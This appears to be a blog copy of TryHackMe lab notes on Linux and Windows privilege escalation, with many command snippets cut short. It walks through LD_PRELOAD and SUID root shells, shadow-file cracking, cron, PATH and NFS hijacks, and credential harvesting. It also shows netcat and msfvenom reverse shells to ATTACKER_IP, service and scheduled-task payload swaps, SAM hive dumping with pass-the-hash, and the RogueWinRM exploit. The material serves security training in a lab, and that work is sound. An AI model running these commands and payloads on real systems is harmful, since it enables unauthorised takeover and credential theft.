LD_PRELOAD is a function that allows any program to use shared libraries. This blog post will give you an idea about the capabilities of LD_PRELOAD. If the “env_keep” option is enabled we can generate a shared library which will be loaded and executed before the program is run. Please note the LD_PRELOAD option will be ignored if the real user ID is different from the effective user ID.
The steps of this privilege escalation vector can be summarized as follows;
- Check for LD_PRELOAD (with the env_keep option)
- Write a simple C code compiled as a share object (.so extension) file
- Run the program with sudo rights and the LD_PRELOAD option pointing to our .so file
The C code will simply spawn a root shell and can be written as follows;
1 | #include <stdio.h> |
1 | gcc -fPIC -shared -o shell.so shell.c -nostartfiles |
1 | $6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3CahzB1uaqeLR1 |
SUID
Much of Linux privilege controls rely on controlling the users and files interactions. This is done with permissions. By now, you know that files can have read, write, and execute permissions. These are given to users within their privilege levels. This changes with SUID (Set-user Identification) and SGID (Set-group Identification). These allow files to be executed with the permission level of the file owner or the group owner, respectively.
You will notice these files have an “s” bit set showing their special permission level.
1 | find / -type f -perm -04000 -ls 2>/dev/null |
The SUID bit set for the nano text editor allows us to create, edit and read files using the file owner’s privilege. Nano is owned by root, which probably means that we can read and edit files at a higher privilege level than our current user has. At this stage, we have two basic options for privilege escalation: reading the /etc/shadow
file or adding our user to /etc/passwd
.
Below are simple steps using both vectors.
reading the /etc/shadow
file
We see that the nano text editor has the SUID bit set by running the find / -type f -perm -04000 -ls 2>/dev/null
command.
nano /etc/shadow
will print the contents of the /etc/shadow
file. We can now use the unshadow tool to create a file crackable by John the Ripper. To achieve this, unshadow needs both the /etc/shadow
and /etc/passwd
files.
With the correct wordlist and a little luck, John the Ripper can return one or several passwords in cleartext. For a more detailed room on John the Ripper, you can visit https://tryhackme.com/room/johntheripper0
The other option would be to add a new user that has root privileges. This would help us circumvent the tedious process of password cracking. Below is an easy way to do it:
We will need the hash value of the password we want the new user to have. This can be done quickly using the openssl tool on Kali Linux.
1 | we can use base64 to read file |
Capabilities
Another method system administrators can use to increase the privilege level of a process or binary is “Capabilities”. Capabilities help manage privileges at a more granular level. For example, if the SOC analyst needs to use a tool that needs to initiate socket connections, a regular user would not be able to do that. If the system administrator does not want to give this user higher privileges, they can change the capabilities of the binary. As a result, the binary would get through its task without needing a higher privilege user.
The capabilities man page provides detailed information on its usage and options.
We can use the getcap
tool to list enabled capabilities.
When run as an unprivileged user, getcap -r /
will generate a huge amount of errors, so it is good practice to redirect the error messages to /dev/null.
Please note that neither vim nor its copy has the SUID bit set. This privilege escalation vector is therefore not discoverable when enumerating files looking for SUID.
GTFObins has a good list of binaries that can be leveraged for privilege escalation if we find any set capabilities.
1 | getcap -r / >/dev/null |
https://gtfobins.github.io/gtfobins/vim/
Cron Jobs
Cron jobs are used to run scripts or binaries at specific times. By default, they run with the privilege of their owners and not the current user. While properly configured cron jobs are not inherently vulnerable, they can provide a privilege escalation vector under some conditions.
The idea is quite simple; if there is a scheduled task that runs with root privileges and we can change the script that will be run, then our script will run with root privileges.
Cron job configurations are stored as crontabs (cron tables) to see the next time and date the task will run.
Each user on the system have their crontab file and can run specific tasks whether they are logged in or not. As you can expect, our goal will be to find a cron job set by root and have it run our script, ideally a shell.
Any user can read the file keeping system-wide cron jobs under /etc/crontab
While CTF machines can have cron jobs running every minute or every 5 minutes, you will more often see tasks that run daily, weekly or monthly in penetration test engagements.
Crontab is always worth checking as it can sometimes lead to easy privilege escalation vectors. The following scenario is not uncommon in companies that do not have a certain cyber security maturity level:
- System administrators need to run a script at regular intervals.
- They create a cron job to do this
- After a while, the script becomes useless, and they delete it
- They do not clean the relevant cron job
This change management issue leads to a potential exploit leveraging cron jobs.
In the odd event you find an existing script or task attached to a cron job, it is always worth spending time to understand the function of the script and how any tool is used within the context. For example, tar, 7z, rsync, etc., can be exploited using their wildcard feature.
PATH
If a folder for which your user has write permission is located in the path, you could potentially hijack an application to run a script. PATH in Linux is an environmental variable that tells the operating system where to search for executables. For any command that is not built into the shell or that is not defined with an absolute path, Linux will start searching in folders defined under PATH. (PATH is the environmental variable were are talking about here, path is the location of a file).
1 | echo $PATH |
If we type “thm” to the command line, these are the locations Linux will look in for an executable called thm. The scenario below will give you a better idea of how this can be leveraged to increase our privilege level. As you will see, this depends entirely on the existing configuration of the target system, so be sure you can answer the questions below before trying this.
- What folders are located under $PATH
- Does your current user have write privileges for any of these folders?
- Can you modify $PATH?
- Is there a script/application you can start that will be affected by this vulnerability?
A simple search for writable folders can done using the “find / -writable 2>/dev/null
” command. The output of this command can be cleaned using a simple cut and sort sequence.
1 | find / -writable 2>/dev/null |
example :
1 | ehco $PATH |
NFS
Privilege escalation vectors are not confined to internal access. Shared folders and remote management interfaces such as SSH and Telnet can also help you gain root access on the target system. Some cases will also require using both vectors, e.g. finding a root SSH private key on the target system and connecting via SSH with root privileges instead of trying to increase your current user’s privilege level.
Another vector that is more relevant to CTFs and exams is a misconfigured network shell. This vector can sometimes be seen during penetration testing engagements when a network backup system is present.
NFS (Network File Sharing) configuration is kept in the /etc/exports file. This file is created during the NFS server installation and can usually be read by users.
The critical element for this privilege escalation vector is the “no_root_squash” option you can see above. By default, NFS will change the root user to nfsnobody and strip any file from operating with root privileges. If the “no_root_squash” option is present on a writable share, we can create an executable with SUID bit set and run it on the target system.
We will mount one of the “no_root_squash” shares to our attacking machine and start building our executable.
As we can set SUID bits, a simple executable that will run /bin/bash on the target system will do the job.
1 | #include <stdio.h> |
example :
1 | cat /etc/exports ///home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check) |
Windows Privilege Escalation
Prevention
Simply put, privilege escalation consists of using given access to a host with “user A” and leveraging it to gain access to “user B” by abusing a weakness in the target system. While we will usually want “user B” to have administrative rights, there might be situations where we’ll need to escalate into other unprivileged accounts before actually getting administrative privileges.
Gaining access to different accounts can be as simple as finding credentials in text files or spreadsheets left unsecured by some careless user, but that won’t always be the case. Depending on the situation, we might need to abuse some of the following weaknesses:
- Misconfigurations on Windows services or scheduled tasks
- Excessive privileges assigned to our account
- Vulnerable software
- Missing Windows security patches
Before jumping into the actual techniques, let’s look at the different account types on a Windows system.
Windows Users
Windows systems mainly have two kinds of users. Depending on their access levels, we can categorise a user in one of the following groups:
Administrators | These users have the most privileges. They can change any system configuration parameter and access any file in the system. |
Standard Users | These users can access the computer but only perform limited tasks. Typically these users can not make permanent or essential changes to the system and are limited to their files. |
Any user with administrative privileges will be part of the Administrators group. On the other hand, standard users are part of the Users group.
In addition to that, you will usually hear about some special built-in accounts used by the operating system in the context of privilege escalation:
SYSTEM / LocalSystem | An account used by the operating system to perform internal tasks. It has full access to all files and resources available on the host with even higher privileges than administrators. |
---|---|
Local Service | Default account used to run Windows services with “minimum” privileges. It will use anonymous connections over the network. |
Network Service | Default account used to run Windows services with “minimum” privileges. It will use the computer credentials to authenticate through the network. |
These accounts are created and managed by Windows, and you won’t be able to use them as other regular accounts. Still, in some situations, you may gain their privileges due to exploiting specific services.
Harvesting Passwords from Usual Spots
The easiest way to gain access to another user is to gather credentials from a compromised machine. Such credentials could exist for many reasons, including a careless user leaving them around in plaintext files; or even stored by some software like browsers or email clients.
This task will present some known places to look for passwords on a Windows system.
1 | xfreerdp /u:wade /p:parzival /v:10.10.167.18 |
Unattended Windows Installations
When installing Windows on a large number of hosts, administrators may use Windows Deployment Services, which allows for a single operating system image to be deployed to several hosts through the network. These kinds of installations are referred to as unattended installations as they don’t require user interaction. Such installations require the use of an administrator account to perform the initial setup, which might end up being stored in the machine in the following locations:
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
As part of these files, you might encounter credentials:
1 | <Credentials> |
Powershell History
Whenever a user runs a command using Powershell, it gets stored into a file that keeps a memory of past commands. This is useful for repeating commands you have used before quickly. If a user runs a command that includes a password directly as part of the Powershell command line, it can later be retrieved by using the following command from a cmd.exe
prompt:
1 | type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt |
Note: The command above will only work from cmd.exe, as Powershell won’t recognize %userprofile%
as an environment variable. To read the file from Powershell, you’d have to replace %userprofile%
with $Env:userprofile
.
Saved Windows Credentials
Windows allows us to use other users’ credentials. This function also gives the option to save these credentials on the system. The command below will list saved credentials:
1 | cmdkey /list |
While you can’t see the actual passwords, if you notice any credentials worth trying, you can use them with the runas
command and the /savecred
option, as seen below.
1 | runas /savecred /user:admin cmd.exe |
IIS Configuration
Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called web.config
and can store passwords for databases or configured authentication mechanisms. Depending on the installed version of IIS, we can find web.config in one of the following locations:
- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
Here is a quick way to find database connection strings on the file:
1 | type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString |
Retrieve Credentials from Software: PuTTY
PuTTY is an SSH client commonly found on Windows systems. Instead of having to specify a connection’s parameters every single time, users can store sessions where the IP, user and other configurations can be stored for later use. While PuTTY won’t allow users to store their SSH password, it will store proxy configurations that include cleartext authentication credentials.
To retrieve the stored proxy credentials, you can search under the following registry key for ProxyPassword with the following command:
1 | reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s |
Note: Simon Tatham is the creator of PuTTY (and his name is part of the path), not the username for which we are retrieving the password. The stored proxy username should also be visible after running the command above.
Just as putty stores credentials, any software that stores passwords, including browsers, email clients, FTP clients, SSH clients, VNC software and others, will have methods to recover any passwords the user has saved.
Other Quick Wins
Privilege escalation is not always a challenge. Some misconfigurations can allow you to obtain higher privileged user access and, in some cases, even administrator access. It would help if you considered these to belong more to the realm of CTF events rather than scenarios you will encounter during real penetration testing engagements. However, if none of the previously mentioned methods works, you can always go back to these.
Scheduled Tasks
Looking into scheduled tasks on the target system, you may see a scheduled task that either lost its binary or it’s using a binary you can modify.
Scheduled tasks can be listed from the command line using the schtasks
command without any options. To retrieve detailed information about any of the services, you can use a command like the following one:
Command Prompt
1 | C:\> schtasks /query /tn vulntask /fo list /v |
You will get lots of information about the task, but what matters for us is the “Task to Run” parameter which indicates what gets executed by the scheduled task, and the “Run As User” parameter, which shows the user that will be used to execute the task.
If our current user can modify or overwrite the “Task to Run” executable, we can control what gets executed by the taskusr1 user, resulting in a simple privilege escalation. To check the file permissions on the executable, we use icacls
:
Command Prompt
1 | C:\> icacls c:\tasks\schtask.bat |
As can be seen in the result, the BUILTIN\Users group has full access (F) over the task’s binary. This means we can modify the .bat file and insert any payload we like. For your convenience, nc64.exe
can be found on C:\tools
. Let’s change the bat file to spawn a reverse shell:
Command Prompt
1 | C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat |
We then start a listener on the attacker machine on the same port we indicated on our reverse shell:
1 | nc -lvp 4444 |
The next time the scheduled task runs, you should receive the reverse shell with taskusr1 privileges. While you probably wouldn’t be able to start the task in a real scenario and would have to wait for the scheduled task to trigger, we have provided your user with permissions to start the task manually to save you some time. We can run the task with the following command:
Command Prompt
1 | C:\> schtasks /run /tn vulntask |
And you will receive the reverse shell with taskusr1 privileges as expected:
Kali Linux
1 | user@attackerpc$ nc -lvp 4444 |
Go to taskusr1 desktop to retrieve a flag. Don’t forget to input the flag at the end of this task.
AlwaysInstallElevated
Windows installer files (also known as .msi files) are used to install applications on the system. They usually run with the privilege level of the user that starts it. However, these can be configured to run with higher privileges from any user account (even unprivileged ones). This could potentially allow us to generate a malicious MSI file that would run with admin privileges.
Note: The AlwaysInstallElevated method won’t work on this room’s machine and it’s included as information only.
This method requires two registry values to be set. You can query these from the command line using the commands below.
Command Prompt
1 | C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v \AlwaysInstallElevated |
To be able to exploit this vulnerability, both should be set. Otherwise, exploitation will not be possible. If these are set, you can generate a malicious .msi file using msfvenom
, as seen below:
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.75.172 LPORT=LOCAL_PORT -f msi -o malicious.msi |
As this is a reverse shell, you should also run the Metasploit Handler module configured accordingly. Once you have transferred the file you have created, you can run the installer with the command below and receive the reverse shell:
Command Prompt
1 | C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi |
Abusing Service Misconfigurations
Windows Services
Windows services are managed by the Service Control Manager (SCM). The SCM is a process in charge of managing the state of services as needed, checking the current status of any given service and generally providing a way to configure services.
Each service on a Windows machine will have an associated executable which will be run by the SCM whenever a service is started. It is important to note that service executables implement special functions to be able to communicate with the SCM, and therefore not any executable can be started as a service successfully. Each service also specifies the user account under which the service will run.
To better understand the structure of a service, let’s check the apphostsvc service configuration with the sc qc
command:
Command Prompt
1 | C:\> sc qc apphostsvc |
Here we can see that the associated executable is specified through the BINARY_PATH_NAME parameter, and the account used to run the service is shown on the SERVICE_START_NAME parameter.
Services have a Discretionary Access Control List (DACL), which indicates who has permission to start, stop, pause, query status, query configuration, or reconfigure the service, amongst other privileges. The DACL can be seen from Process Hacker (available on your machine’s desktop):
All of the services configurations are stored on the registry under HKLM\SYSTEM\CurrentControlSet\Services\
:
A subkey exists for every service in the system. Again, we can see the associated executable on the ImagePath value and the account used to start the service on the ObjectName value. If a DACL has been configured for the service, it will be stored in a subkey called Security. As you have guessed by now, only administrators can modify such registry entries by default.
Insecure Permissions on Service Executable
If the executable associated with a service has weak permissions that allow an attacker to modify or replace it, the attacker can gain the privileges of the service’s account trivially.
To understand how this works, let’s look at a vulnerability found on Splinterware System Scheduler. To start, we will query the service configuration using sc
:
Command Prompt
1 | C:\> sc qc WindowsScheduler |
We can see that the service installed by the vulnerable software runs as svcuser1 and the executable associated with the service is in C:\Progra~2\System~1\WService.exe
. We then proceed to check the permissions on the executable:
Command Prompt
1 | C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe |
And here we have something interesting. The Everyone group has modify permissions (M) on the service’s executable. This means we can simply overwrite it with any payload of our preference, and the service will execute it with the privileges of the configured user account.
Let’s generate an exe-service payload using msfvenom and serve it through a python webserver:
Kali Linux
1 | user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe |
We can then pull the payload from Powershell with the following command:
Powershell
1 | wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe |
Once the payload is in the Windows server, we proceed to replace the service executable with our payload. Since we need another user to execute our payload, we’ll want to grant full permissions to the Everyone group as well:
Command Prompt
1 | C:\> cd C:\PROGRA~2\SYSTEM~1\ |
We start a reverse listener on our attacker machine:
Kali Linux
1 | user@attackerpc$ nc -lvp 4445 |
And finally, restart the service. While in a normal scenario, you would likely have to wait for a service restart, you have been assigned privileges to restart the service yourself to save you some time. Use the following commands from a cmd.exe command prompt:
Command Prompt
1 | C:\> sc stop windowsscheduler |
Note: PowerShell has sc
as an alias to Set-Content
, therefore you need to use sc.exe
in order to control services with PowerShell this way.
As a result, you’ll get a reverse shell with svcusr1 privileges:
Kali Linux
1 | user@attackerpc$ nc -lvp 4445 |
Go to svcusr1 desktop to retrieve a flag. Don’t forget to input the flag at the end of this task.
Unquoted Service Paths
When we can’t directly write into service executables as before, there might still be a chance to force a service into running arbitrary executables by using a rather obscure feature.
When working with Windows services, a very particular behaviour occurs when the service is configured to point to an “unquoted” executable. By unquoted, we mean that the path of the associated executable isn’t properly quoted to account for spaces on the command.
As an example, let’s look at the difference between two services (these services are used as examples only and might not be available in your machine). The first service will use a proper quotation so that the SCM knows without a doubt that it has to execute the binary file pointed by "C:\Program Files\RealVNC\VNC Server\vncserver.exe"
, followed by the given parameters:
Command Prompt
1 | C:\> sc qc "vncserver" |
Remember: PowerShell has ‘sc’ as an alias to ‘Set-Content’, therefore you need to use ‘sc.exe’ to control services if you are in a PowerShell prompt.
Now let’s look at another service without proper quotation:
Command Prompt
1 | C:\> sc qc "disk sorter enterprise" |
When the SCM tries to execute the associated binary, a problem arises. Since there are spaces on the name of the “Disk Sorter Enterprise” folder, the command becomes ambiguous, and the SCM doesn’t know which of the following you are trying to execute:
Command | Argument 1 | Argument 2 |
C:\MyPrograms\Disk.exe | Sorter | Enterprise\bin\disksrs.exe |
C:\MyPrograms\Disk Sorter.exe | Enterprise\bin\disksrs.exe | |
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe |
This has to do with how the command prompt parses a command. Usually, when you send a command, spaces are used as argument separators unless they are part of a quoted string. This means the “right” interpretation of the unquoted command would be to execute C:\\MyPrograms\\Disk.exe
and take the rest as arguments.
Instead of failing as it probably should, SCM tries to help the user and starts searching for each of the binaries in the order shown in the table:
- First, search for
C:\\MyPrograms\\Disk.exe
. If it exists, the service will run this executable. - If the latter doesn’t exist, it will then search for
C:\\MyPrograms\\Disk Sorter.exe
. If it exists, the service will run this executable. - If the latter doesn’t exist, it will then search for
C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe
. This option is expected to succeed and will typically be run in a default installation.
From this behaviour, the problem becomes evident. If an attacker creates any of the executables that are searched for before the expected service executable, they can force the service to run an arbitrary executable.
While this sounds trivial, most of the service executables will be installed under C:\Program Files
or C:\Program Files (x86)
by default, which isn’t writable by unprivileged users. This prevents any vulnerable service from being exploited. There are exceptions to this rule: - Some installers change the permissions on the installed folders, making the services vulnerable. - An administrator might decide to install the service binaries in a non-default path. If such a path is world-writable, the vulnerability can be exploited.
In our case, the Administrator installed the Disk Sorter binaries under c:\MyPrograms
. By default, this inherits the permissions of the C:\
directory, which allows any user to create files and folders in it. We can check this using icacls
:
Command Prompt
1 | C:\>icacls c:\MyPrograms |
The BUILTIN\\Users
group has AD and WD privileges, allowing the user to create subdirectories and files, respectively.
The process of creating an exe-service payload with msfvenom and transferring it to the target host is the same as before, so feel free to create the following payload and upload it to the server as before. We will also start a listener to receive the reverse shell when it gets executed:
Kali Linux
1 | user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe |
Once the payload is in the server, move it to any of the locations where hijacking might occur. In this case, we will be moving our payload to C:\MyPrograms\Disk.exe
. We will also grant Everyone full permissions on the file to make sure it can be executed by the service:
Command Prompt
1 | C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe |
Once the service gets restarted, your payload should execute:
Command Prompt
1 | C:\> sc stop "disk sorter enterprise" |
As a result, you’ll get a reverse shell with svcusr2 privileges:
Kali Linux
1 | user@attackerpc$ nc -lvp 4446 |
Go to svcusr2 desktop to retrieve a flag. Don’t forget to input the flag at the end of this task.
Insecure Service Permissions
You might still have a slight chance of taking advantage of a service if the service’s executable DACL is well configured, and the service’s binary path is rightly quoted. Should the service DACL (not the service’s executable DACL) allow you to modify the configuration of a service, you will be able to reconfigure the service. This will allow you to point to any executable you need and run it with any account you prefer, including SYSTEM itself.
To check for a service DACL from the command line, you can use Accesschk from the Sysinternals suite. For your convenience, a copy is available at C:\\tools
. The command to check for the thmservice service DACL is:
Command Prompt
1 | C:\tools\AccessChk> accesschk64.exe -qlc thmservice |
Here we can see that the BUILTIN\\Users
group has the SERVICE_ALL_ACCESS permission, which means any user can reconfigure the service.
Before changing the service, let’s build another exe-service reverse shell and start a listener for it on the attacker’s machine:
Kali Linux
1 | user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe |
We will then transfer the reverse shell executable to the target machine and store it in C:\Users\thm-unpriv\rev-svc3.exe
. Feel free to use wget to transfer your executable and move it to the desired location. Remember to grant permissions to Everyone to execute your payload:
Command Prompt
1 | C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F |
To change the service’s associated executable and account, we can use the following command (mind the spaces after the equal signs when using sc.exe):
Command Prompt
1 | C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem |
Notice we can use any account to run the service. We chose LocalSystem as it is the highest privileged account available. To trigger our payload, all that rests is restarting the service:
Command Prompt
1 | C:\> sc stop THMService |
And we will receive a shell back in our attacker’s machine with SYSTEM privileges:
Kali Linux
1 | user@attackerpc$ nc -lvp 4447 |
Abusing dangerous privileges
https://github.com/gtworek/Priv2Admin
Windows Privileges
Privileges are rights that an account has to perform specific system-related tasks. These tasks can be as simple as the privilege to shut down the machine up to privileges to bypass some DACL-based access controls.
Each user has a set of assigned privileges that can be checked with the following command:
1 | whoami /priv |
A complete list of available privileges on Windows systems is available here. From an attacker’s standpoint, only those privileges that allow us to escalate in the system are of interest. You can find a comprehensive list of exploitable privileges on the Priv2Admin Github project.
While we won’t take a look at each of them, we will showcase how to abuse some of the most common privileges you can find.
SeBackup / SeRestore
The SeBackup and SeRestore privileges allow users to read and write to any file in the system, ignoring any DACL in place. The idea behind this privilege is to allow certain users to perform backups from a system without requiring full administrative privileges.
This account is part of the “Backup Operators” group, which by default is granted the SeBackup and SeRestore privileges. We will need to open a command prompt using the “Open as administrator” option to use these privileges. We will be asked to input our password again to get an elevated console:
Once on the command prompt, we can check our privileges with the following command:
Command Prompt
1 | C:\> whoami /priv |
To backup the SAM and SYSTEM hashes, we can use the following commands:
Command Prompt
1 | C:\> reg save hklm\system C:\Users\THMBackup\system.hive |
This will create a couple of files with the registry hives content. We can now copy these files to our attacker machine using SMB or any other available method. For SMB, we can use impacket’s smbserver.py
to start a simple SMB server with a network share in the current directory of our AttackBox:
Kali Linux
1 | user@attackerpc$ mkdir share |
This will create a share named public
pointing to the share
directory, which requires the username and password of our current windows session. After this, we can use the copy
command in our windows machine to transfer both files to our AttackBox:
Command Prompt
1 | C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\ |
And use impacket to retrieve the users’ password hashes:
Kali Linux
1 | user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL |
We can finally use the Administrator’s hash to perform a Pass-the-Hash attack and gain access to the target machine with SYSTEM privileges:
Kali Linux
1 | user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP |
SeTakeOwnership
The SeTakeOwnership privilege allows a user to take ownership of any object on the system, including files and registry keys, opening up many possibilities for an attacker to elevate privileges, as we could, for example, search for a service running as SYSTEM and take ownership of the service’s executable. For this task, we will be taking a different route, however.
To get the SeTakeOwnership privilege, we need to open a command prompt using the “Open as administrator” option. We will be asked to input our password to get an elevated console:
Once on the command prompt, we can check our privileges with the following command:
Command Prompt
1 | C:\> whoami /priv |
We’ll abuse utilman.exe
to escalate privileges this time. Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen:
Since Utilman is run with SYSTEM privileges, we will effectively gain SYSTEM privileges if we replace the original binary for any payload we like. As we can take ownership of any file, replacing it is trivial.
To replace utilman, we will start by taking ownership of it with the following command:
Command Prompt
1 | C:\> takeown /f C:\Windows\System32\Utilman.exe |
Notice that being the owner of a file doesn’t necessarily mean that you have privileges over it, but being the owner you can assign yourself any privileges you need. To give your user full permissions over utilman.exe you can use the following command:
Command Prompt
1 | C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F |
After this, we will replace utilman.exe with a copy of cmd.exe:
Command Prompt
1 | C:\Windows\System32\> copy cmd.exe utilman.exe |
To trigger utilman, we will lock our screen from the start button:
And finally, proceed to click on the “Ease of Access” button, which runs utilman.exe with SYSTEM privileges. Since we replaced it with a cmd.exe copy, we will get a command prompt with SYSTEM privileges:
SeImpersonate / SeAssignPrimaryToken
https://github.com/antonioCoco/RogueWinRM
These privileges allow a process to impersonate other users and act on their behalf. Impersonation usually consists of being able to spawn a process or thread under the security context of another user.
Impersonation is easily understood when you think about how an FTP server works. The FTP server must restrict users to only access the files they should be allowed to see.
Let’s assume we have an FTP service running with user ftp
. Without impersonation, if user Ann logs into the FTP server and tries to access her files, the FTP service would try to access them with its access token rather than Ann’s:
There are several reasons why using ftp’s token is not the best idea: - For the files to be served correctly, they would need to be accessible to the ftp
user. In the example above, the FTP service would be able to access Ann’s files, but not Bill’s files, as the DACL in Bill’s files doesn’t allow user ftp
. This adds complexity as we must manually configure specific permissions for each served file/directory. - For the operating system, all files are accessed by user ftp
, independent of which user is currently logged in to the FTP service. This makes it impossible to delegate the authorisation to the operating system; therefore, the FTP service must implement it. - If the FTP service were compromised at some point, the attacker would immediately gain access to all of the folders to which the ftp
user has access.
If, on the other hand, the FTP service’s user has the SeImpersonate or SeAssignPrimaryToken privilege, all of this is simplified a bit, as the FTP service can temporarily grab the access token of the user logging in and use it to perform any task on their behalf:
Now, if user Ann logs in to the FTP service and given that the ftp user has impersonation privileges, it can borrow Ann’s access token and use it to access her files. This way, the files don’t need to provide access to user ftp
in any way, and the operating system handles authorisation. Since the FTP service is impersonating Ann, it won’t be able to access Jude’s or Bill’s files during that session.
As attackers, if we manage to take control of a process with SeImpersonate or SeAssignPrimaryToken privileges, we can impersonate any user connecting and authenticating to that process.
In Windows systems, you will find that the LOCAL SERVICE and NETWORK SERVICE ACCOUNTS already have such privileges. Since these accounts are used to spawn services using restricted accounts, it makes sense to allow them to impersonate connecting users if the service needs. Internet Information Services (IIS) will also create a similar default account called “iis apppool\defaultapppool” for web applications.
To elevate privileges using such accounts, an attacker needs the following:
- To spawn a process so that users can connect and authenticate to it for impersonation to occur.
- Find a way to force privileged users to connect and authenticate to the spawned malicious process.
We will use RogueWinRM exploit to accomplish both conditions.
Let’s start by assuming we have already compromised a website running on IIS and that we have planted a web shell on the following address:
1 | http://MACHINE_IP/ |
We can use the web shell to check for the assigned privileges of the compromised account and confirm we hold both privileges of interest for this task:
To use RogueWinRM, we first need to upload the exploit to the target machine. For your convenience, this has already been done, and you can find the exploit in the C:\tools\
folder.
The RogueWinRM exploit is possible because whenever a user (including unprivileged users) starts the BITS service in Windows, it automatically creates a connection to port 5985 using SYSTEM privileges. Port 5985 is typically used for the WinRM service, which is simply a port that exposes a Powershell console to be used remotely through the network. Think of it like SSH, but using Powershell.
If, for some reason, the WinRM service isn’t running on the victim server, an attacker can start a fake WinRM service on port 5985 and catch the authentication attempt made by the BITS service when starting. If the attacker has SeImpersonate privileges, he can execute any command on behalf of the connecting user, which is SYSTEM.
Before running the exploit, we’ll start a netcat listener to receive a reverse shell on our attacker’s machine:
Kali Linux
1 | user@attackerpc$ nc -lvp 4442 |
And then, use our web shell to trigger the RogueWinRM exploit using the following command:
1 | c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442" |
Note: The exploit may take up to 2 minutes to work, so your browser may appear as unresponsive for a bit. This happens if you run the exploit multiple times as it must wait for the BITS service to stop before starting it again. The BITS service will stop automatically after 2 minutes of starting.
The -p
parameter specifies the executable to be run by the exploit, which is nc64.exe
in this case. The -a
parameter is used to pass arguments to the executable. Since we want nc64 to establish a reverse shell against our attacker machine, the arguments to pass to netcat will be -e cmd.exe ATTACKER_IP 4442
.
If all was correctly set up, you should expect a shell with SYSTEM privileges:
Kali Linux
1 | user@attackerpc$ nc -lvp 4442 |
Abusing vulnerable software
Unpatched Software
Software installed on the target system can present various privilege escalation opportunities. As with drivers, organisations and users may not update them as often as they update the operating system. You can use the wmic
tool to list software installed on the target system and its versions. The command below will dump information it can gather on installed software (it might take around a minute to finish):
1 | wmic product get name,version,vendor |
Remember that the wmic product
command may not return all installed programs. Depending on how some of the programs were installed, they might not get listed here. It is always worth checking desktop shortcuts, available services or generally any trace that indicates the existence of additional software that might be vulnerable.
Once we have gathered product version information, we can always search for existing exploits on the installed software online on sites like exploit-db, packet storm or plain old Google, amongst many others.
Using wmic and Google, can you find a known vulnerability on any installed product?
Tools
Several scripts exist to conduct system enumeration in ways similar to the ones seen in the previous task. These tools can shorten the enumeration process time and uncover different potential privilege escalation vectors. However, please remember that automated tools can sometimes miss privilege escalation.
Below are a few tools commonly used to identify privilege escalation vectors. Feel free to run them against any of the machines in this room and see if the results match the discussed attack vectors.
WinPEAS
WinPEAS is a script developed to enumerate the target system to uncover privilege escalation paths. You can find more information about winPEAS and download either the precompiled executable or a .bat script. WinPEAS will run commands similar to the ones listed in the previous task and print their output. The output from winPEAS can be lengthy and sometimes difficult to read. This is why it would be good practice to always redirect the output to a file, as shown below:
Command Prompt
1 | C:\> winpeas.exe > outputfile.txt |
WinPEAS can be downloaded here.
PrivescCheck
PrivescCheck is a PowerShell script that searches common privilege escalation on the target system. It provides an alternative to WinPEAS without requiring the execution of a binary file.
PrivescCheck can be downloaded here.
Reminder: To run PrivescCheck on the target system, you may need to bypass the execution policy restrictions. To achieve this, you can use the Set-ExecutionPolicy
cmdlet as shown below.
Powershell
1 | PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force |
WES-NG: Windows Exploit Suggester - Next Generation
Some exploit suggesting scripts (e.g. winPEAS) will require you to upload them to the target system and run them there. This may cause antivirus software to detect and delete them. To avoid making unnecessary noise that can attract attention, you may prefer to use WES-NG, which will run on your attacking machine (e.g. Kali or TryHackMe AttackBox).
WES-NG is a Python script that can be found and downloaded here.
Once installed, and before using it, type the wes.py --update
command to update the database. The script will refer to the database it creates to check for missing patches that can result in a vulnerability you can use to elevate your privileges on the target system.
To use the script, you will need to run the systeminfo
command on the target system. Do not forget to direct the output to a .txt file you will need to move to your attacking machine.
Once this is done, wes.py can be run as follows;
Kali Linux
1 | user@kali$ wes.py systeminfo.txt |
